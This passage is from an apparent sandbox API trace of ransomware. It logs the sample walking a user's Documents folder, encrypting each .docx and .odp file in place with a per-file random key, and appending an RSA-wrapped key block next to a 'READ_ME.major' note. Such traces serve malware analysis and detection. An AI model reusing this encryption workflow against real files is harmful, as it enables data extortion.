dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x798 [0169.781] GetFileSizeEx (in: hFile=0x798, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=67732) returned 1 [0169.781] ReadFile (in: hFile=0x798, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x10894, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10894, lpOverlapped=0x0) returned 1 [0169.782] SetFilePointer (in: hFile=0x798, lDistanceToMove=-67732, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.782] WriteFile (in: hFile=0x798, lpBuffer=0x2e80f30*, nNumberOfBytesToWrite=0x10894, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e80f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10894, lpOverlapped=0x0) returned 1 [0169.782] SetFilePointer (in: hFile=0x798, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10894 [0169.782] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.782] WriteFile (in: hFile=0x798, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.782] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.783] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.783] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.783] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="gaKhZXr9Z9y4x4DYwMW2LW/WAaBFVmLZD0B65o1AfpeF8hk8JZxaGUvKqRC7g2Ek\njNynGFb8JdZ07LGHb1G9r1wNWOjor1G7+Y63ViV3gsbb/7MIKWfcxVP+qqAjHQLF\nlWpMzSIZtqql4ks5c/tPoHiIRKA2xp1LHYoeATocmJuZCbLpcauVkDA7JsQ1Mh7m\noIIsDR9nP2a8ZZinx1a+TesjSQvT+sZepH0R/ofLtBIapnPbEcLqZnqVU29KLZX3\nsRQstJPcCmI2TsDqhTfnw7HoJ1fHC6/YFmadLJjDLVb24XzXJONXsyDgQZOXB8Mw\nF7FNEzltHwBrB8nuXgypUA==\n", pcchString=0x2e3f9a8) returned 1 [0169.783] WriteFile (in: hFile=0x798, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.783] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.783] WriteFile (in: hFile=0x798, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.783] CloseHandle (hObject=0x798) returned 1 [0169.784] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fb58e90, ftCreationTime.dwHighDateTime=0x1d4ce47, ftLastAccessTime.dwLowDateTime=0x14368f00, ftLastAccessTime.dwHighDateTime=0x1d4d4c6, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653960 [0169.784] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fb58e90, ftCreationTime.dwHighDateTime=0x1d4ce47, ftLastAccessTime.dwLowDateTime=0x14368f00, ftLastAccessTime.dwHighDateTime=0x1d4d4c6, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.784] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x859e3320, ftCreationTime.dwHighDateTime=0x1d4ce75, ftLastAccessTime.dwLowDateTime=0x8d3a390, ftLastAccessTime.dwHighDateTime=0x1d4ca27, ftLastWriteTime.dwLowDateTime=0x8d3a390, ftLastWriteTime.dwHighDateTime=0x1d4ca27, nFileSizeHigh=0x0, nFileSizeLow=0x130a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="4dI6f R6nP33tSY.doc", cAlternateFileName="4DI6FR~1.DOC")) returned 1 [0169.784] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd43d9040, ftCreationTime.dwHighDateTime=0x1d4d49f, ftLastAccessTime.dwLowDateTime=0x8e4bddb0, ftLastAccessTime.dwHighDateTime=0x1d4d181, ftLastWriteTime.dwLowDateTime=0x8e4bddb0, ftLastWriteTime.dwHighDateTime=0x1d4d181, nFileSizeHigh=0x0, nFileSizeLow=0x17bec, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="iFahmz_9K_r.docx", cAlternateFileName="IFAHMZ~1.DOC")) returned 1 [0169.784] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c76d9cc, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c76d9cc, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c76d9cc, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.785] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bdbdc0, ftCreationTime.dwHighDateTime=0x1d4c9e1, ftLastAccessTime.dwLowDateTime=0x8e9c1f0, ftLastAccessTime.dwHighDateTime=0x1d4cb4b, ftLastWriteTime.dwLowDateTime=0x8e9c1f0, ftLastWriteTime.dwHighDateTime=0x1d4cb4b, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="sHWQNUj1CZwSi7.odp", cAlternateFileName="SHWQNU~1.ODP")) returned 1 [0169.785] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46a9ba60, ftCreationTime.dwHighDateTime=0x1d4cc52, ftLastAccessTime.dwLowDateTime=0x256c2600, ftLastAccessTime.dwHighDateTime=0x1d4d2c2, ftLastWriteTime.dwLowDateTime=0x256c2600, ftLastWriteTime.dwHighDateTime=0x1d4d2c2, nFileSizeHigh=0x0, nFileSizeLow=0xdea8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="x8bZ.odp", cAlternateFileName="")) returned 1 [0169.785] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd493b0, ftCreationTime.dwHighDateTime=0x1d4cdc9, ftLastAccessTime.dwLowDateTime=0x1d30b2e0, ftLastAccessTime.dwHighDateTime=0x1d4d514, ftLastWriteTime.dwLowDateTime=0x1d30b2e0, ftLastWriteTime.dwHighDateTime=0x1d4d514, nFileSizeHigh=0x0, nFileSizeLow=0x13dc7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="YyNejeuZVgjGDfG5.docx", cAlternateFileName="YYNEJE~1.DOC")) returned 1 [0169.785] FindNextFileW (in: hFindFile=0x653960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd493b0, ftCreationTime.dwHighDateTime=0x1d4cdc9, ftLastAccessTime.dwLowDateTime=0x1d30b2e0, ftLastAccessTime.dwHighDateTime=0x1d4d514, ftLastWriteTime.dwLowDateTime=0x1d30b2e0, ftLastWriteTime.dwHighDateTime=0x1d4d514, nFileSizeHigh=0x0, nFileSizeLow=0x13dc7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="YyNejeuZVgjGDfG5.docx", cAlternateFileName="YYNEJE~1.DOC")) returned 0 [0169.785] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.785] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\YyNejeuZVgjGDfG5.docx", dwFileAttributes=0x80) returned 1 [0169.785] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\YyNejeuZVgjGDfG5.docx" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ikcsrio9dln\\yynejeuzvgjgdfg5.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0169.785] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81351) returned 1 [0169.785] ReadFile (in: hFile=0x79c, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x13dc7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x13dc7, lpOverlapped=0x0) returned 1 [0169.787] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-81351, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.787] WriteFile (in: hFile=0x79c, lpBuffer=0x2e80f30*, nNumberOfBytesToWrite=0x13dc7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e80f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13dc7, lpOverlapped=0x0) returned 1 [0169.787] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13dc7 [0169.787] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.787] WriteFile (in: hFile=0x79c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.787] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.787] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.787] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.787] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="sjmm12gwCW40ht9VdHDQZBPl/wt3T3VY/Lllv9VhFVi1HwwcmJPHDKrucwYBw0nS\nUK5+8918RUuEMKnj85Xmd3m3zDkodiLcN6J1aVWj5ZCpX6ZxcLmOwClAKFXT00Jm\nuEHG06SSlCh2ljFqG6rmC6WzLm/AfBrCub6xWqW9ps2z/UWgAdmMY0lnO4uAVjh/\ngBJc7fbVDU48cuBu9h0HClQJM8YWDZRQC6bOrFao1F8UerJPUvq3C15wkHU6XCdy\ni/g/kiV3kK50xY6tCz2orYRdKt0ORUsFaDwMptepB2/3ZAzBZwlmzf3ez3XY6365\n4Rynq8b6sE3yKD8IksSkZA==\n", pcchString=0x2e3f9a8) returned 1 [0169.787] WriteFile (in: hFile=0x79c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.787] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.788] WriteFile (in: hFile=0x79c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.788] CloseHandle (hObject=0x79c) returned 1 [0169.789] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.789] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\x8bZ.odp", dwFileAttributes=0x80) returned 1 [0169.789] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\x8bZ.odp" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ikcsrio9dln\\x8bz.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0169.789] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=57000) returned 1 [0169.789] ReadFile (in: hFile=0x79c, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xdea8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xdea8, lpOverlapped=0x0) returned 1 [0169.790] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-57000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.790] WriteFile (in: hFile=0x79c, lpBuffer=0x2e80f30*, nNumberOfBytesToWrite=0xdea8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e80f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdea8, lpOverlapped=0x0) returned 1 [0169.791] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdea8 [0169.791] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.791] WriteFile (in: hFile=0x79c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.791] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.791] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.791] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.791] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="5cvhtj0IfjCa/eYFgcrB7Co7Jis4ZzWDfC9eDKAePJkfHqq3LBI2szTJOR7um6Sy\nUQUpqK9m1YHOJKgqmVyfDy4Z5MmEEoPI6tQ0UVJzhkLvl6JG0P5sJRpNiNPZchjt\npzMS2F5D2i2i0oJzjOG9jD0WMEnTsWhnY+tIFAJ0BD0u5ZRDM/ozEfIOZDhJaQP3\n/w9KckFBhfYAOO1F8Lv9ISAgJT4os8P98y0C47XCpwKrGrH9qEGdebu7bH/EO8xm\nJM69Cjzv1+zDYi6sPAvGV/rxWiJgF1njke936afoBUArBYXCEl0EqASU0Swjl2MI\nOpGSu9fWZ9Gfz70fW8uxmA==\n", pcchString=0x2e3f9a8) returned 1 [0169.791] WriteFile (in: hFile=0x79c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.791] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.791] WriteFile (in: hFile=0x79c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.791] CloseHandle (hObject=0x79c) returned 1 [0169.847] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\sHWQNUj1CZwSi7.odp", dwFileAttributes=0x80) returned 1 [0169.847] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\sHWQNUj1CZwSi7.odp" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ikcsrio9dln\\shwqnuj1czwsi7.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0169.847] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=55112) returned 1 [0169.847] ReadFile (in: hFile=0x79c, lpBuffer=0x6590d8, nNumberOfBytesToRead=0xd748, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0xd748, lpOverlapped=0x0) returned 1 [0169.848] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-55112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.848] WriteFile (in: hFile=0x79c, lpBuffer=0x2e80f30*, nNumberOfBytesToWrite=0xd748, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e80f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd748, lpOverlapped=0x0) returned 1 [0169.849] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd748 [0169.849] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.849] WriteFile (in: hFile=0x79c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.849] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.849] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.849] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.849] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="qk57tFmifNrGqHAsnPEfmEARXJA5AHXHI2SeXU5dGyvhGqtuO2ye8AnsnFg/Lqew\nIoCKNJyl66IiKYyyuhCQKv2SUcunhCmxpaaQ5cAEo7dwD0lQSeWCJPUezcR05rei\nCZOmSmtDERaIq/XzMzC1wV7LCHziQEjW4KMqF33o6H2kTAtaysDV9m4DdB5hVlSQ\nG1nZxN/ok1s+JHB0MNl3acANTW4IyLNNCYa7m3Nd0VGxc+EbU6IdGxb7Yb6LfKHO\nm85ht4oo4tdo2Sv0Z/hPXx5o0TkiyFEGW7YWseEupk2zeXDyonLyknyn7GIx/q5Q\nixTpGYe5RHYK9GL4zZT+IA==\n", pcchString=0x2e3f9a8) returned 1 [0169.849] WriteFile (in: hFile=0x79c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.849] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.849] WriteFile (in: hFile=0x79c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.849] CloseHandle (hObject=0x79c) returned 1 [0169.851] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.851] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\iFahmz_9K_r.docx", dwFileAttributes=0x80) returned 1 [0169.851] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\iFahmz_9K_r.docx" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ikcsrio9dln\\ifahmz_9k_r.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x79c [0169.851] GetFileSizeEx (in: hFile=0x79c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=97260) returned 1 [0169.851] ReadFile (in: hFile=0x79c, lpBuffer=0x2e80f30, nNumberOfBytesToRead=0x17bec, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e80f30*, lpNumberOfBytesRead=0x2e3f9b4*=0x17bec, lpOverlapped=0x0) returned 1 [0169.853] SetFilePointer (in: hFile=0x79c, lDistanceToMove=-97260, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.853] WriteFile (in: hFile=0x79c, lpBuffer=0x2e98b28*, nNumberOfBytesToWrite=0x17bec, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e98b28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17bec, lpOverlapped=0x0) returned 1 [0169.853] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x17bec [0169.853] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.853] WriteFile (in: hFile=0x79c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.853] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.854] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.854] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.854] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ZdJcAazXrm7WMxtIw5lEQCDD/gfAh/herca+07VF7CA/VxJvLEVh/f3HQxQKwS5P\nB/cj9NnXIhMc/tVGgcRmShoduswxS9m6fQYqfZeq6IkAndY2ZDy+FHefq+JcMgvO\nw+6oP3auEr5YUnAuYynZGiDbDdyZSp75jOO9Nc+CsJFSLNsBr6HsvmB9/ACcVSIb\njkJVmtuB8/K6s9zYt6yV+bZtrMNx9mtsCVrB7Aw/bWi6jAgQZZQKHUzK4dD2GGV6\nYw0lWsMfOosu42lBmdMsvURg5StJxOkEgtyZAmyekU71Vcf5O9lygjspZQnA5xwN\n2x/VfMGYRPEW7/nezlM7pA==\n", pcchString=0x2e3f9a8) returned 1 [0169.854] WriteFile (in: hFile=0x79c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.854] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.854] WriteFile (in: hFile=0x79c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.854] CloseHandle (hObject=0x79c) returned 1 [0169.856] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: 